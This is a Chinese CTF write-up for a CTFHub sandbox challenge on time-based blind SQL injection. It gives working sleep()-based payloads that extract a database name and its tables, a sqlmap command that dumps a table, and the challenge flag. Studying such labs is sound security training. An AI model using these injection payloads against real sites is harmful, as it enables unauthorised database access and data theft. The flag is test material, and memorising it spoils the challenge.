CTFHUB技能树之SQL——时间盲注

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库名

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}

相关推荐
新子y14 分钟前
【小白笔记】最大交换 (Maximum Swap)问题
笔记·python
你要飞4 小时前
Hexo + Butterfly 博客添加 Live2D 看板娘指南
笔记
盒马coding6 小时前
第19节-非规范化数据类型-Composite-types
数据库·postgresql
-雷阵雨-7 小时前
MySQL——桥梁JDBC
数据库·mysql·oracle
亿坊电商7 小时前
在PHP框架里如何进行数据库连接?
数据库·oracle·php
满昕欢喜7 小时前
SQL Server从入门到项目实践(超值版)读书笔记 28
数据库·sql·sqlserver
楚韵天工7 小时前
宠物服务平台(程序+文档)
java·网络·数据库·spring cloud·编辑器·intellij-idea·宠物
ajsbxi7 小时前
【Java 基础】核心知识点梳理
java·开发语言·笔记
呱呱巨基8 小时前
vim编辑器
linux·笔记·学习·编辑器·vim
新子y8 小时前
【小白笔记】普通二叉树(General Binary Tree)和二叉搜索树的最近公共祖先(LCA)
开发语言·笔记·python